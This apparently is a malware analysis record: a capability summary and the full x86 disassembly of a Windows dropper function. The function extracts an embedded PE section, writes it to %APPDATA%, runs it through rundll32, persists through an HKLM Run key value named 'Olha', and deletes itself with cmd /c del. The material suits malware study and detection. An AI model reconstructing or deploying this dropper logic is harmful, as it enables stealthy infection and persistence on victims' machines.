Function at 0x401000
Capabilities:
Create process on windows
Parse pe header
Persist via run registry key
Query environment variable
Self delete
Set registry value
Write and execute a file
Write file on windows

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x688
push esi
push edi
mov dword [ebp - 4], 0x401320
mov dword [ebp - 8], 0
mov eax, dword [ebp - 4]
and eax, 0xffff0000
cmp word [eax], 0x5a4d
je 0x401042
sub eax, 0x10000
jmp 0x401034
mov dword [ebp - 8], eax
mov edx, dword [ebp - 8]
mov edi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
test edx, edx
je 0x40123d
mov eax, 0x5a4d
mov dword [ebp - 4], 0
cmp word [edx], ax
jne 0x40109e
mov esi, dword [edx + 0x3c]
add esi, edx
cmp dword [esi], 0x4550
jne 0x40109e
movzx eax, word [esi + 6]
lea ecx, [eax + eax*4]
movzx eax, word [esi + 0x14]
add eax, esi
lea esi, [ecx - 2]
lea esi, [eax + esi*8]
test esi, esi
je 0x40109e
mov eax, dword [esi + 8]
mov esi, dword [esi + 0xc]
mov dword [ebp - 4], eax
add esi, edx
jmp 0x4010a1
mov esi, dword [ebp - 0xc]
push 0x103
lea eax, [ebp - 0x480]
mov dword [ebp - 0xc], 0
push eax
push str._APPDATA_
call edi
test eax, eax
je 0x401124
push 0x6c
push 0x64
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea eax, [ebp - 0x480]
push eax
push str._s_lu._cl_c
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x18
lea eax, [ebp - 0x480]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x401117
push 0
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 4]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 0x103
lea eax, [ebp - 0x278]
push eax
push str._WINDIR_
call edi
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
test eax, eax
je 0x40123d
lea eax, [ebp - 0x278]
push eax
push str._sSystem32_rundll32.exe
push eax
call esi
add esp, 0xc
test eax, eax
je 0x40123d
lea eax, [ebp - 0x480]
push eax
lea eax, [ebp - 0x278]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x4020b4
lea eax, [ebp - 0x278]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x4020b8
lea eax, [ebp - 0x278]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x70]
mov dword [ebp - 0x58], 0x44
push eax
lea eax, [ebp - 0x58]
xorps xmm0, xmm0
push eax
push 0
push 0
push 0x8000020
push 0
push 0
push 0
lea eax, [ebp - 0x278]
movlpd qword [ebp - 0x54], xmm0
push eax
push 0
movlpd qword [ebp - 0x4c], xmm0
movlpd qword [ebp - 0x44], xmm0
movlpd qword [ebp - 0x3c], xmm0
movlpd qword [ebp - 0x34], xmm0
movlpd qword [ebp - 0x2c], xmm0
movlpd qword [ebp - 0x24], xmm0
movlpd qword [ebp - 0x1c], xmm0
movaps xmmword [ebp - 0x70], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x40123d
lea eax, [ebp - 4]
push eax
push 0x20006
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40123d
push 0x208
lea eax, [ebp - 0x278]
push eax
push 1
push 0
push str.Olha
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x103
lea eax, [ebp - 0x688]
push eax
push str._WINDIR_
call edi
test eax, eax
je 0x401306
lea eax, [ebp - 0x688]
push eax
push str._sSystem32cmd.exe
push eax
call esi
add esp, 0xc
test eax, eax
je 0x401306
push 0x104
lea eax, [ebp - 0x480]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x688]
push str._c_del
push eax
call esi
lea eax, [ebp - 0x480]
push eax
lea eax, [ebp - 0x688]
push eax
call esi
lea eax, [ebp - 0x70]
mov dword [ebp - 0x58], 0x44
push eax
lea eax, [ebp - 0x58]
xorps xmm0, xmm0
push eax
push 0
push 0
push 0x8000020
push 0
push 0
push 0
lea eax, [ebp - 0x688]
movlpd qword [ebp - 0x54], xmm0
push eax
push 0
movlpd qword [ebp - 0x4c], xmm0
movlpd qword [ebp - 0x44], xmm0
movlpd qword [ebp - 0x3c], xmm0
movlpd qword [ebp - 0x34], xmm0
movlpd qword [ebp - 0x2c], xmm0
movlpd qword [ebp - 0x24], xmm0
movlpd qword [ebp - 0x1c], xmm0
movaps xmmword [ebp - 0x70], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret